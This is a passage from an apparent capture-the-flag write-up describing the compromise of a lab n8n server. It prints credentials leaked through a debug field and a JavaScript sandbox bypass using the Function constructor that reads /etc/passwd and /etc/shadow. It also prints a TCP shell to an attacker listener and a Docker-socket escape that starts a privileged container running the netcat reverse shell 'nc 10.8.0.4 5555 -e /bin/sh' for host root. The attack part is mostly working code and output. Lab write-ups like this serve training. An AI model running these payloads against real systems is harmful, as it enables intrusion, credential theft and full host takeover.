inside the _debug field:</p><ul><li><strong>Email:</strong> admin@cyberlab.local</li><li><strong>Password:</strong> CyberL4b_N8N_2026!</li></ul><h3>Step 4 — Accessing the n8n Platform</h3><p>Using the discovered credentials, we logged into the n8n interface at <a href="http://10.8.0.2:5678.">http://10.8.0.2:5678.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WpgEx1RlMo5_gV5uIhnY1Q.png" /><figcaption>The n8n dashboard showing 10 published AI workflows — Content Moderation Pipeline, Document Ingestion &amp; Embedding, Weekly RAG Pipeline Report, Internal Chat Assistant, LLM Token Usage &amp; Cost Tracker, LLM Endpoint Health Monitor, LLM API Key Provisioning, Model Deployment Notifier, Vector Database Backup</figcaption></figure><h3><strong>Step 5 — Creating a Malicious Workflow via the n8n UI</strong></h3><p>After logging in, we clicked <strong>“Create workflow”</strong> in the top right corner of the dashboard. We added a <strong>Code node</strong> (JavaScript) connected to the Manual Trigger node, and used it to test code execution directly from the browser interface</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aSoLzZpIe5Hk4xf8LEjEAg.png" /><figcaption>Creating a new workflow with a Code node in the n8n UI</figcaption></figure><h3>Step 6— Bypassing the n8n JavaScript Sandbox</h3><p>The n8n Code node runs inside a JavaScript sandbox that blocks dangerous modules. Our first attempt was immediately blocked:</p><pre>// ❌ Blocked by n8n sandbox<br>const { execSync } = require(&#39;child_process&#39;);<br>const output = execSync(&#39;id &amp;&amp; find / -name &quot;proof.txt&quot; 2&gt;/dev/null&#39;).toString();<br>return [{ json: { output } }];</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_KIxvd9P3hwPYFCMqJr_PQ.png" /><figcaption>Module ‘child_process’ is disallowed</figcaption></figure><p>We also tried:</p><ul><li>process.mainModule.require(&#39;child_process&#39;) → process is not defined</li><li>Python mode → Python runner unavailable: Python 3 is missing</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZbgYhXt1vheh5rfSBGoDlw.png" /><figcaption>Python mode also blocked — ‘Python runner unavailable: Python 3 is missing from this system’</figcaption></figure><p>vm module → also blocked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QjSoCmyJzQMc1b77AZf-Ig.png" /></figure><h4>The Bypass — Function Constructor</h4><p>The key insight: n8n’s sandbox blocklist checks require() calls at the <strong>AST (syntax) level</strong>, but it cannot block the <strong>Function constructor</strong> which dynamically constructs and executes code at runtime:</p><pre>const fn = (function(){}).constructor;<br>const fs = fn(&#39;return require(&quot;fs&quot;)&#39;)();<br>const d = fs.readFileSync(&#39;/etc/passwd&#39;, &#39;utf8&#39;);<br>return [{json: {d}}];</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rPKtMgx5HD-ji9-SxyF-HA.png" /><figcaption>Bypassing the n8n sandbox using the Function constructor trick (function(){}).constructor to load the fs module and read /etc/passwd — the output shows the full passwd file content including root, node, and nobody users</figcaption></figure><p><strong>Result:</strong> We got the full /etc/passwd content, confirming <strong>arbitrary file read</strong>. However, child_process remained blocked even through this bypass.</p><h3>Step 7 — Interactive JavaScript Shell via net Module</h3><p>The net module was <strong>not</strong> blocked. We built an interactive JS shell over a raw TCP connection:</p><p><strong>On our machine (listener):</strong></p><pre>nc -lvnp 4444</pre><p>Since child_process was blocked, we investigated which modules were still available. We tested the net module with a simple connectivity check:</p><pre>const fn = (function(){}).constructor;<br>const net = fn(&#39;return require(&quot;net&quot;)&#39;)();<br><br>const client = net.connect(4444, &#39;10.8.0.4&#39;, function() {<br>  client.write(&#39;connected\n&#39;);<br>});<br>return [{json:{status:&#39;net ok&#39;}}];</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JE7elMOroofHE1mD3IYKjg.png" /><figcaption>Testing net module connectivity — output shows status: net ok, confirming the module is not blocked and TCP connection to our machine on port 4444 is successful</figcaption></figure><p>Bingo! After the connection was received, we had an interactive shell — but not a traditional bash shell. Since we used the net module with the Function constructor bypass, <strong>all commands had to be written in JavaScript</strong>, not bash.</p><pre>nc -lvnp 4444<br>Listening on 0.0.0.0 4444<br>Connection received on 10.8.0.2 52728<br>ready</pre><p>That’s why classic commands like whoami, ls, cat didn&#39;t work — instead we used Node.js fs module calls:</p><pre>// Instead of: ls /<br>require(&#39;fs&#39;).readdirSync(&#39;/&#39;)<br>// → [&quot;.dockerenv&quot;,&quot;app&quot;,&quot;bin&quot;,&quot;dev&quot;,&quot;docker-entrypoint.sh&quot;,&quot;etc&quot;,&quot;home&quot;,&quot;lib&quot;...]<br><br>// Instead of: cat /etc/shadow<br>require(&#39;fs&#39;).readFileSync(&#39;/etc/shadow&#39;,&#39;utf8&#39;)<br>// → &quot;root:*::0:99999:7:::\nnode:!::0:99999:7:::\nnobody:*::0:99999:7:::\n&quot;<br><br>// Instead of: ls /root<br>require(&#39;fs&#39;).readdirSync(&#39;/root&#39;)<br>// → [&quot;.cache&quot;,&quot;.n8n&quot;]<br><br>// Instead of: cat /root/proof.txt<br>require(&#39;fs&#39;).readFileSync(&#39;/root/proof.txt&#39;,&#39;utf8&#39;)<br>// → ERR: ENOENT: no such file or directory</pre><p>The presence of .dockerenv in the root directory confirmed we were <strong>inside a Docker container</strong> — the flag was not here, it was on the host machine.</p><h3>Step 8— Docker Socket Escape:</h3><p>While enumerating the container filesystem using our JavaScript shell, we discovered that the <strong>Docker socket was mounted inside the container</strong> :</p><pre>require(&#39;fs&#39;).existsSync(&#39;/var/run/docker.sock&#39;)<br>// true<br><br>require(&#39;fs&#39;).readdirSync(&#39;/var/run&#39;)<br>// [&quot;docker.sock&quot;, &quot;lock&quot;]</pre><p>This is a critical misconfiguration — it means we can talk directly to the Docker daemon running on the <strong>host machine</strong>, and use it to create new containers with full host access.</p><h4>Querying the Docker API</h4><p>We sent a raw HTTP request to the Docker socket using the net module to list all running containers :</p><pre>(function(){}).constructor(&#39;return require(&quot;net&quot;)&#39;)()<br>  .connect(&#39;/var/run/docker.sock&#39;, function() {<br>    this.write(&#39;GET /containers/json HTTP/1.0\r\nHost: localhost\r\n\r\n&#39;);<br>    this.on(&#39;data&#39;, function(d) {<br>      (function(){}).constructor(&#39;return require(&quot;fs&quot;)&#39;)()<br>        .appendFileSync(&#39;/tmp/resp.txt&#39;, d.toString());<br>    });<br>  })</pre><p>Then read the response :</p><pre>(function(){}).constructor(&#39;return require(&quot;fs&quot;)&#39;)()<br>  .readFileSync(&#39;/tmp/resp.txt&#39;, &#39;utf8&#39;)</pre><p>The response revealed 3 running containers belonging to the n8n-lab Docker Compose project :</p><p>Container Image IP</p><p>n8n-lab-nginx-1 nginx:alpine 172.18.0.2</p><p>n8n-lab-n8n-1 n8nio/n8n:latest 172.18.0.4</p><p>n8n-lab-postgres-1 postgres:16-alpine 172.18.0.3</p><p>The nginx:alpine image was already present on the host — we could reuse it without pulling anything.</p><h4>Creating a Privileged Container</h4><p>We wrote the container configuration to a temp file, then sent it to the Docker API :</p><p><strong>Step 1 — Write the config :</strong></p><pre>(function(){}).constructor(&#39;return require(&quot;fs&quot;)&#39;)()<br>  .writeFileSync(&#39;/tmp/c2.json&#39;, JSON.stringify({<br>    &quot;Image&quot;: &quot;nginx:alpine&quot;,<br>    &quot;Cmd&quot;: [&quot;/bin/sh&quot;, &quot;-c&quot;, &quot;nc 10.8.0.4 5555 -e /bin/sh&quot;],<br>    &quot;HostConfig&quot;: {<br>      &quot;Binds&quot;: [&quot;/:/host&quot;],<br>      &quot;Privileged&quot;: true,<br>      &quot;NetworkMode&quot;: &quot;host&quot;<br>    }<br>  }))</pre><p>Key parameters :</p><ul><li>Binds: [&quot;/:/host&quot;] → mounts the <strong>entire host filesystem</strong> inside the container at /host</li><li>Privileged: true → gives the container full root capabilities</li><li>NetworkMode: host → shares the host network stack</li><li>Cmd → executes a netcat reverse shell back to our machine on port 5555</li></ul><p><strong>Step 2 — Create the container via Docker API :</strong></p><pre>(function(){}).constructor(&#39;return require(&quot;net&quot;)&#39;)()<br>  .connect(&#39;/var/run/docker.sock&#39;, function() {<br>    var body = (function(){}).constructor(&#39;return require(&quot;fs&quot;)&#39;)()<br>      .readFileSync(&#39;/tmp/c2.json&#39;, &#39;utf8&#39;);<br>    this.write(<br>      &#39;POST /containers/create HTTP/1.0\r\n&#39; +<br>      &#39;Host: localhost\r\n&#39; +<br>      &#39;Content-Type: application/json\r\n&#39; +<br>      &#39;Content-Length: &#39; + body.length + &#39;\r\n\r\n&#39; + body<br>    );<br>    this.on(&#39;data&#39;, function(d) {<br>      (function(){}).constructor(&#39;return require(&quot;fs&quot;)&#39;)()<br>        .appendFileSync(&#39;/tmp/c2resp.txt&#39;, d.toString());<br>    });<br>  })</pre><p>Response:</p><pre>{&quot;Id&quot;:&quot;fb6bb2da2a093f15012910e9f433b7633390b524ce5f93f3a2d09f556b7d518d&quot;,&quot;Warnings&quot;:[]}</pre><p><strong>Step 3 — On our machine, open a listener on port 5555 :</strong></p><pre>nc -lvnp 5555</pre><p><strong>Step 4 — Start the container :</strong></p><pre>(function(){}).constructor(&#39;return require(&quot;net&quot;)&#39;)()<br>  .connect(&#39;/var/run/docker.sock&#39;, function() {<br>    this.write(<br>      &#39;POST /containers/fb6bb2da2a093f15012910e9f433b7633390b524ce5f93f3a2d09f556b7d518d/start HTTP/1.0\r\n&#39; +<br>      &#39;Host: localhost\r\nContent-Length: 0\r\n\r\n&#39;<br>    );<br>  })</pre><h3>Step 10 — Root Shell on the Host</h3><p>As soon as the container started, our listener received the connection. This time it was a <strong>real bash shell</strong> — not JavaScript — so we could use normal system commands directly :</p><pre>whoami<br>root<br><br>ls /host/root<br>proof.txt<br>snap<br>this_is_not_part_of_the_lab.ovpn<br><br>cat /host/root/proof.txt<br>flag_2f89cd61_bbe6_4264_aa06_c26188786451</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*es1x0slTHm6kL3z6mgSuTQ.png" /><figcaption>“Real bash shell on the host machine — whoami returns root, cat /host/root/proof.txt reveals the flag</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c45d68c37558" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>